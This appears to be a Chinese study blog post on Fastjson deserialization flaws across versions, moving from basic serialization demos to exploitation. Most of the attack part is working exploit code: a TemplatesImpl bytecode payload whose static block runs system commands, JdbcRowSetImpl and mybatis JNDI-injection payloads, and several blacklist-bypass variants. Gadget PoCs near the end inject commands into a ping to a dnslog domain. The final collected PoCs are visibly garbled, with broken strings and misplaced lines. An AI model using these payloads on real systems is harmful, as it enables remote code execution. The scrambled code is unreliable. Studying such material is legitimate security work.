fastjson1


fastjson链1

前言

大佬博客,我参考了挺多的,https://yuy0ung.github.io/
这篇至少要回答三个问题

fastjson全版本利用分析,不出网思路说几条,templatesimpl链子利用?
有点针对面试题学习的味道,尽量结合代码和靶机等等结合学习
然后再补一个Fastjson 远程代码执行漏洞 CVE-2026-16723
最低要求就是,至少要简单知道下原理和打法啥的

一起的话,算是至少至少要解决这四个问题

fastjson基础

Fastjson 是阿里开源的 Java JSON 库,号称“Java 最快 JSON 解析/生成器”,作用就是 把 Java 对象 ↔ JSON 字符串 互相转换,让网络传输、持久化、前后端交互更简单,这个转换过程也就相当于我们常说的序列化与反序列化了

首先就是一个demo

先添加一个依赖

文本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.demo</groupId>
<artifactId>fastjson1</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.release>21</maven.compiler.release>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.13.0</version>
</plugin>
</plugins>
</build>
</project>


按照这个结构输入代码之后,会弹让你加载为maven项目,或者这个鼠标右键也可以选择

demo代码内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.demo;

import com.alibaba.fastjson.JSON;

public class FastJsonDemo {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("wuk0Ng", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);

// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"age\":20,\"name\":\"Yuy0ung\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}

// 定义一个简单的 Java 类
public static class Person {
private String name;
private int age;

// 供反序列化时创建对象
public Person(){}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}
}

我看大佬给的代码很简单,但是我用的话会报错

https://yuy0ung.github.io/blog/java%E5%AE%89%E5%85%A8/%E7%BB%8F%E5%85%B8%E6%BC%8F%E6%B4%9E/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

我这边叫ai给我生成了稍微多点的内容,但是总体还是比较简洁的

主要就是这个

1
2
3
4
5
6
7
8
Person person = new Person("wuk0Ng", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);

// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"age\":20,\"name\":\"wuk0Ng\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());

运行结果

1
2
"age":18,"name":"wuk0Ng"}
wuk0Ng, 20

一个非常简单的序列化和反序列化过程

可以看到我们使用JSON.toJSONString()和JSON.parseObject()就完成了序列化和反序列化,非常方便

字段映射关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;
public class FastJsonDemo {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("wuk0Ng", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"user_age\":20,\"user_name\":\"wuk0Ng\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
// 无参构造,fastjson反序列化必需
public Person(){}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
}

在使用fastjson时,我们需要先将json字符串和java对象之间建立映射关系,可以通过类的属性和JSON字段名进行映射。我们上面的代码中,Java类的属性名和JSON字段名是相同的,因此可以直接使用Person.class来进行映射

如果不同,可以使用@JSONField注解来指定Java类的属性和JSON字段之间的映射关系:

看懂代码里面的映射

1
2
@JSONField(name = "user_name")
private String name;

json字符串里的字段叫user_name

java代码里的成员变量叫name

把json里面的user_name值,赋值给java的name

运行结果

1
2
{"user_age":18,"user_name":"wuk0Ng"}
null, 0

这样就可以实现java类属性与json字段的对应

字段顺序

默认情况下,生成的JSON字符串的顺序是按照属性的字母顺序进行排序的,而不是按照属性在类中的声明顺序

如果我们希望按照属性在类中的声明顺序来生成JSON字符串,可以通过在类中使用@JSONType(orders = {"name", "age"})注解来设置属性的序列化顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;
public class FastJsonDemo {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("wuk0Ng", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象,user_age放在JSON最前面
String jsonString2 = "{\"user_age\":20,\"user_name\":\"wuk0Ng\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
@JSONField(name = "user_age")
private int age;
@JSONField(name = "user_name")
private String name;
// 无参构造,fastjson反序列化必需
public Person(){}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
}

输入结果

1
2
{"user_age":18,"user_name":"wuk0Ng"}
null, 0

类型注解@type

@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型,比如这个demo(需要注意的是:由于fastjson在1.2.24之后默认禁用AutoType,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");来开启,否则会报错autoType is not support):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.demo;



import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.ParserConfig;

import java.io.IOException;



public class FastJsonCalc {

public static void main(String[] args) throws IOException {

String json = "{\"@type\":\"java.lang.Runtime\"}";

ParserConfig.getGlobalInstance().addAccept("java.lang");

Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);

runtime.exec("open -a calculator");

}

}

可以看到这里的@type字段指定了反序列化结果为java.lang.Runtime 类的实例,所以可以调用反序列化生成的Runtime对象进行命令执行:

再来一个demo
先创建一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.demo;
public class Person {
private String name;
private int age;
public Person() {}
@Override
public String toString() {
return "Person{" + "name='" + name + '\'' + ", age=" + age + '}';
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}

FastJsonTest类

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJsonTest {
public static void main(String[] args) {
Person user = new Person();
user.setAge(20);
user.setName("wuk0Ng");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}

我们发现此时生成的json自带@type字段了,其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本

FastJson的漏洞就是这个@type功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法,我们接下来详细分析

链路完整分析

1.序列化阶段

代码

1
2
3
4
5
6
Person user = new Person();
user.setAge(20);
user.setName("wuk0Ng");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);

WriteClassName这个特性:序列化时,自动增加@type字段,写入完整类名

输出json

1
{"@type":"com.demo.Person","name":"wuk0Ng","age":20}

@type的值 = 对象真实全限定类名。 作用:把类型信息打包进 JSON 文本,不只是字段数据

2.正常反序列化

1
2
3
4
String json = "{\"@type\":\"com.demo.Person\",\"name\":\"wuk0Ng\",\"age\":20}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object obj = JSON.parseObject(json, Object.class);

拿到上面这个 JSON,开启 AutoType,调用parseObject(json, Object.class)

执行链路:

  1. Fastjson 开始解析 JSON 字符串
  2. 读到 key=@type,取出值com.demo.Person
  3. 使用反射加载com.demo.Person类
  4. 调用无参构造,实例化 Person 对象
  5. 解析剩下字段 name、age,调用 setter 赋值
  6. 返回 Person 实例(向上转型为 Object)

不知道返回对象是什么类型,靠 JSON 自带@type自动还原原对象

3.漏洞攻击完整链路

前提条件:

1.服务器开启AutoType

2.攻击者可以完全控制传入的json字符串

攻击流程:

  1. 攻击者构造恶意 JSON:{"@type":"危险类全类名",其他字段...}
  2. 把这个恶意 JSON 发给后端接口
  3. 后端调用 JSON.parseObject(json, Object.class)
  4. Fastjson 解析 JSON,读取@type,拿到攻击者指定的危险类名
  5. 反射加载这个危险类,调用无参构造器创建实例
  6. 继续解析 JSON 里其他字段,自动调用对应 setter 方法赋值
  7. 👉 关键:这个危险类的 setter/getter 内部,藏有恶意逻辑(gadget)
  8. 执行到 getter/setter 时,触发代码,最终走到Runtime.exec()实现命令执行

不是 @type 直接执行命令 @type 只负责:告诉 Fastjson,实例哪一个类。 真正恶意代码,藏在这个类属性的 get/set 方法里面

写到这里已经很清晰这个的攻击方法啥的了,要是还是不理解就多看几遍,真写的很详细了

fastjson漏洞

fastjson<=1.2.24 反序列化漏洞

TesmplatesImpl动态加载字节码(英文读法:坦普雷茨 - 英普)
gadget盖杰特,就是一串类 / 方法调用,拼接起来实现攻击效果。TemplatesImpl 就是一条经典 gadget

我这里是jdk8的,注意jdk版本
然后可能因为这个mac和win的不一样,这里都需要自己去区分和改代码(比如改pom.xml啥的)
然后是在不行就叫agent改就ok了

然后做到弹计算器就ok了

我现在的这个项目结构

然后FastJsonTemplatesDemo类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.wuk0ng;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassPool;

import java.util.Base64;

/**
* fastjson 1.2.24 + TemplatesImpl 反序列化
* 注意:1.2.24 的 ParserConfig 没有 setAutoTypeSupport(),该版本默认就解析 @type
*/
public class FastJsonTemplatesDemo {

public static void main(String[] args) throws Exception {
// 直接拿 RCETest 编译后的字节码,不用手工用 javassist 拼类
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
+ "\"_bytecodes\":[\"" + Base64.getEncoder().encodeToString(code) + "\"],"
+ "\"_name\":\"a.b\","
+ "\"_tfactory\":{},"
+ "\"_outputProperties\":{}}";

// TemplatesImpl 的字段都是私有的,必须 SupportNonPublicField
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
System.out.println("done");
}
}

RCETest类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.wuk0ng;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/**
* 恶意 Translet:字节码被塞进 TemplatesImpl._bytecodes,newInstance() 时静态块执行
*/
public class RCETest extends AbstractTranslet {

// postInitialization() 里会 namesArray.length(transletVersion 默认 0 < 101),不初始化就 NPE
{
namesArray = new String[0];
urisArray = new String[0];
typesArray = new int[0];
namespaceArray = new String[0];
}

static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "open -a calculator"});
} catch (Exception e) {
e.printStackTrace();
}
}

// AbstractTranslet 里唯一需要自己实现的抽象方法
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

// Translet 接口里还有一个没被 AbstractTranslet 实现的(javac 会强制要求)
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

// 注意:transform(DOM, SerializationHandler) 在 AbstractTranslet 里是 final,不能覆写
}

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.demo</groupId>
<artifactId>fastjson1</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.13.0</version>
</plugin>
</plugins>
</build>
</project>

而我们分析这个payload就知道这里实际上就是我们学过的TemplatesImlp动态加载字节码

即构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载并使用newInstance()实例化。在反序列化过程中,由于getter方法getOutputProperties()满足条件,将会被fastjson调用,而漏洞利用的限制条件也很明显:需要代码中加了Feature.SupportNonPublicField,即允许向对象的非public属性赋值

链路分析-TesmplatesImpl动态加载字节码

Fastjson 在解析 JSON 时,识别@type指定TemplatesImpl类,反序列化填充它的私有字段;当访问_outputProperties字段,会触发getOutputProperties(),内部加载_bytecodes里自定义字节码;因为恶意类继承AbstractTranslet,JVM 加载该类的瞬间执行static静态代码块,执行系统命令

1.EXP 准备阶段(FastJsonTemplatesDemo.main)

1
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
  • javassist 读取已经编译好的 RCETest.class 字节码,做 Base64 编码
  • 构造 JSON payload:
1
2
3
4
5
6
7
8
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64恶意字节码"],
"_name":"a.b",
"_tfactory":{},
"_outputProperties":{}
}

字段说明:

  • @type:fastjson1.2.24 默认开启 AutoType,指定要反序列化的目标类TemplatesImpl
  • _bytecodes:TemplatesImpl 内置属性,存放要加载的字节码数组(RCETest)
  • _name:类名,随便填,用来做类加载标识
  • _tfactory:Transformer 工厂,填空对象即可
  • _outputProperties:触发入口! 只要给这个字段赋值,会调用 getter getOutputProperties()

2.Fastjson 反序列化入口

1
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

Feature.SupportNonPublicField 是必须项: TemplatesImpl 的_bytecodes/_name/_tfactory/_outputProperties全部是private私有成员;不加这个 Feature,fastjson 无法给私有字段赋值,漏洞无法触发。

fastjson 解析 JSON,看到@type,反射实例化 TemplatesImpl 对象,依次填充各个私有字段

3.关键触发:填充 _outputProperties → 自动调用 getOutputProperties()

fastjson 在给_outputProperties赋值时,会调用该字段的 getter 方法 TemplatesImpl.getOutputProperties()

1
2
3
4
5
//TemplatesImpl源码简化
public Properties getOutputProperties() {
newTransformer();
...
}

getOutputProperties() 内部执行 newTransformer()

4.newTransformer () → defineTransletClasses () 加载_bytecodes 字节码

1
2
TemplatesImpl#newTransformer()
→ TemplatesImpl#defineTransletClasses()

defineTransletClasses 会:

  1. 读取 _bytecodes 数组里面的字节码
  2. 自定义 ClassLoader,把字节码动态定义成 Java 类
  3. 强制校验:这个类必须继承 AbstractTranslet(这就是 RCETest 要继承这个抽象类的原因)
  4. 校验通过后,JVM 加载这个 RCETest 类

5.JVM 加载 RCETest 类 → 执行 static 静态代码块(命令执行)

1
2
3
4
5
6
7
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "open -a calculator"});
} catch (Exception e) {
e.printStackTrace();
}
}

执行系统命令,Mac 弹出计算器

到这里应该链路还是非常清晰的

JdbcRowSetImpl打JNDI注入

这里我们会接触到一个新的类:com.sun.rowset.JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.yuy0ung.fastjson1_2_24;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/hello\"," +
"\"autoCommit\":\"true\"}";
deserialize(payload);
}
public static void deserialize(String json) throws Exception {
ParserConfig parserConfig = new ParserConfig();
Object obj = JSON.parseObject(json, Object.class, parserConfig, Feature.SupportNonPublicField);
}
}

注意这里的rmi服务就是我们JNDI注入使用的server,运行后发现成功执行命令,也就是弹计算机了
我们看payload就已经知道这里是打了一个JNDI注入,接下来我们分析一下为什么这个JdbcRowSet可以触发JNDI

JNDI查询肯定是从lookup函数触发,我们找一下发现在connect()方法中:

然后找调用connect()函数的地方,发现一个getter和一个setter:

很明显这里在反序列化时无法调用getter,所以重点看这个setter,在conn为null时触发connect,在fastjson中,实例化类时是调用的newInstance(),也就是会调用默认的构造方法,可以看一下这里的默认的构造方法:

这里会将conn设置为null,没毛病,那再看看connect()需要的参数:

我们需要控制这个getDataSourceName()的值,跟进一下:

发现是返回的父类BaseRowSet的一个变量,并且父类存在setter方法来进行赋值:

那么我们就可以构造出对应的json:

1
2
3
4
5
6
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/hello",
"autoCommit":"true"
}

这里其实就不用多管这个链路了

1.2.25<=fastjson<=1.2.41 反序列化

在fastjson自爆1.2.24版本的反序列化漏洞后,1.2.25版本就加入了黑白名单机制, 例如我们更换并下载1.2.25版本的fastjson,然后再去执行原来的poc:
发现已经无法命令执行了,并且报错autoType is not support

我们通过查看源码可以发现添加了黑名单:
黑名单内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bsh

com.mchange

com.sun.

java.lang.Thread

java.net.Socket

java.rmi

javax.xml

org.apache.bcel

org.apache.commons.beanutils

org.apache.commons.collections.Transformer

org.apache.commons.collections.functors

org.apache.commons.collections4.comparators

org.apache.commons.fileupload

org.apache.myfaces.context.servlet

org.apache.tomcat

org.apache.wicket.util

org.codehaus.groovy.runtime

org.hibernate

org.jboss

org.mozilla.javascript

org.python.core

org.springframework

这就导致了我们前面的payload都失效了
继续向下定位到CheckAutoType:

我们看这里的逻辑,如果开启了autoType,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass加载,如果不在就去匹配黑名单

继续往下走:

如果没开启autoType,则先匹配黑名单,然后再白名单匹配和加载

最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType或者expectClass不为空也就是指定了Class对象时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类:

我们看这个TypeUtils的loadclass()方法:

这里的代码逻辑是:如果类名的字符串以[开头,就是@type键的值以[开头,则说明该类是一个数组类型,就使用substring方法来截断获取[后面的方法,然后再次调用loadClass()方法来加载需要递归调用loadClass方法来加载数组元素类型对应的Class对象,然后使用Array.newIntrance方法来创建一个空数组对象,最后返回该数组对象的Class对象;如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass

问题就出现在这里,可以针对这个逻辑进行绕过: 我们需要先开启默认禁用的autoType:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

接下来就是构造POC了,分析了上面的逻辑就知道可以用L和分号来bypass:

1
2
3
4
5
6
7
8
9
10
{

"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",

"dataSourceName":"rmi://127.0.0.1:1099/hello",

"autoCommit":"true"

}

也可以用[来绕过

1
2
3
4
5
6
7
8
9
10
{

"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,

"dataSourceName":"rmi://127.0.0.1:1099/hello",

"autoCommit":"true"

}

fastjson 1.2.42 反序列化

前面提到的数组payload不受影响仍然能打:

但是L和分号的payload不行了:

这里又说不支持这个类,多半是黑名单逻辑改了,分析一下可以看到黑名单变成了哈希值:

这里对首字符和尾字符做一次简化版 FNV-1a 风格的哈希运算来看有没有L开头和分号结尾,有的话就截取后传给下一步的检验:

然后用hash来检验黑名单

其实很好想到,上面对头尾的检测只做了一次,而最后loadclass的逻辑是递归调用来循环去除L和分号:

所以我们这里可以双写L和;进行绕过:

1
2
3
4
5
6
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:1099/hello",
"autoCommit":"true"
}

相当于这里的检验只去除一次,而loadclass能去除两次再加载,既然这样,写多少次其实都能去除:

fastjson 1.2.43 反序列化

数组仍然可行:

但是双写失败了:

直接两次if,如果存在双写直接输出不支持,那没办法,只能打数组的绕过了

fastjson 1.2.44

在这个版本,数组的绕过也被修复了:

修复方法就是增加判断:

第一个if判断开头是否为[,第二个if判断首尾是不是L和;,这里就把两种bypass完全修复了

1.2.25 <= fastjson <= 1.2.45 反序列化

这个版本存在组件黑名单绕过,并没有禁用mybatis的一个组件,所以实际1.2.25 <= fastjson <= 1.2.45版本都存在

首先添加依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>  

<groupId>org.mybatis</groupId>

<artifactId>mybatis</artifactId>

<version>3.5.7</version>

</dependency>

payload

1
2
3
4
5
6
7
8
9
10
11
12
{

"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",

"properties":{

"data_source":"rmi://127.0.0.1:1099/hello"

}

}

可以触发对应类的setter的lookup方法:

利用jndi注入到命令执行

1.2.25 <= fastjson <= 1.2.47 反序列化

这是一个很重要的利用方法,甚至不需要ParserConfig.getGlobalInstance().setAutoTypeSupport(true)来开启autoType

先看POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://127.0.0.1/exp",

"autoCommit":true

}

}

我们使用这个进行fastjson反序列化,可以成功命令执行:

分析POC会发现,外面又套了一个json,并且加了一个{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},我们分析一下为什么能够绕过

首先还是看checkAutoType():

我们重点看未开启autoType时的操作,首先是getClassFromMapping,在mapping中获取class:

如果不行就是第二种方法,从deserializers中获取:

但是deserializers是private类型的,虽然当前类里面有一个public的putDeserializer方法,但只有一个地方调用了,没法构成调用链,所以重点关注这个同样private类型的mapping,而在TypeUtils.loadClass中有调用到mappings.put:

经过查找发现MiscCodec.deserialze调用了TypeUtils.loadClass:

而strVal变量是通过objVal变量强转来的:

而objVal则是通过调用Default#parse()方法获取的:

我们看下之前的deserializers中哪里调用了MiscCodec:

这里是放入了一个Class.class的键,所以结合前面的分析,当我们正常反序列化时,是会获取deserializer并调用它的deserialze()方法,所以对应的,我们可以先尝试传入Class.class,从而获取到MiscCodec类实例,从而调用到它的deserialze()方法,从而往mappings中放入想要利用的类,从而在直接在后续中获得想要的类,那么我们的payload就出来了,json就像前面的demo那样构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

public class FastJson_Demo {
public static void main(String[] args) throws Exception {
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/hello\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
deserialize(payload);
}

public static void deserialize(String json) throws Exception {
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
}
}

总结一下:

1.2.47版本默认不开启AutoType,所以我们尝试向mapping或serializer添加类,寻找相关可控方法,最后决定利用loadClass方法向mapping中添加类

想要调用对应的loadClass方法,需要调用MiscCodec#deserialze方法,且需要clazz为Class.class类型。其次还需要控制我们添加的类名为strVal,不断往前回溯,即val变量的值。

想要调用MiscCodec#deserialze方法,我们需要对fastjson解析json有一定了解,对于deserialze方法通常会在DefaultJSONParser类中被调用,所选取的对象则是通过getDeserializer方法获取

由于我们要利用的是java.lang.Class,而恰好deserializers又缓存Class.class,且Value正是MiscCodec对象,getDeserializer方法正是获取key所对应的value

然后就是通过构造如下json,通过调用MiscCodec#deserialze方法将恶意对象的名字加进mapping中,加载到mapping中以后,在下一次checkAutoType的时候,直接就返回了,绕过了检验的部分直接执行

1.2.48 ~ 1.2.68

expectclass绕Autotype

@type反序列化时指定了expectclass,也就是指定了期望类Throwable.class

没有开AutoType,并且如果指定了expectclass

要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类

1
2
1、黑名单限制
2、漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类

后面都是各位大佬的poc,仅作收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class ThrowableMain {
public static void main(String[] args) {
String payload =
"{\n" +
" \"@type\":\"java.lang.Exception\"
,\n" +
" \"@type\": \"org.heptagram.fastjson.ViaThrowable\"
" \"domain\": \"qbknro.dnslog.cn|calc\"\n" +
"}";
JSONObject.parseObject(payload);
,\n" +
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.heptagram.fastjson;
import java.io.IOException;
public class ViaThrowable extends Exception {
private String domain;
public ViaThrowable() {
super();
}
public String getDomain() {
return domain;
public void setDomain(String domain) {
this.domain = domain;
}
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}

Runnable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.heptagram.fastjson;
import java.io.IOException;
public class ExecRunnable implements AutoCloseable {
private EvalRunnable eval;
public EvalRunnable getEval() {
return eval;
public void setEval(EvalRunnable eval) {
this.eval = eval;
}
@Override
public void close() throws Exception {
}
}
}
class EvalRunnable implements Runnable {
private String cmd;
public String getCmd() {
System.out.println("EvalRunnable getCmd() "+cmd);
try {
Runtime.getRuntime().exec(new String[]{"cmd"
} catch (IOException e) {
e.printStackTrace();
,
}
"/c"
,cmd});
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
@Override
public void run() {
}
}
--------------------------------------------------------
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class ExecRunnableMain {
public static void main(String[] args) {
String payload =
"{\n" +
" \"@type\":\"java.lang.AutoCloseable\"
,\n" +
" \"@type\": \"org.heptagram.fastjson.ExecRunnable\"
,\n" +
" \"eval\":
{\"@type\":\"org.heptagram.fastjson.EvalRunnable\"
,\"cmd\":\"calc.exe\"}\n" +
"}";
JSONObject.parseObject(payload);
}
}

AutoCloseable_writefile_rmb122.json(适用于JDK 11)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//写文件
// echo -ne "RMB122 is here" | openssl zlib | base64 -w 0
//eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==
//$ echo -ne "RMB122 is here" | openssl zlib | wc -c
//22
{
'@type':"java.lang.AutoCloseable"
,
'@type':'sun.rmi.server.MarshalOutputStream'
'out':
,
{
'@type':'java.util.zip.InflaterOutputStream'
,
'out':
{
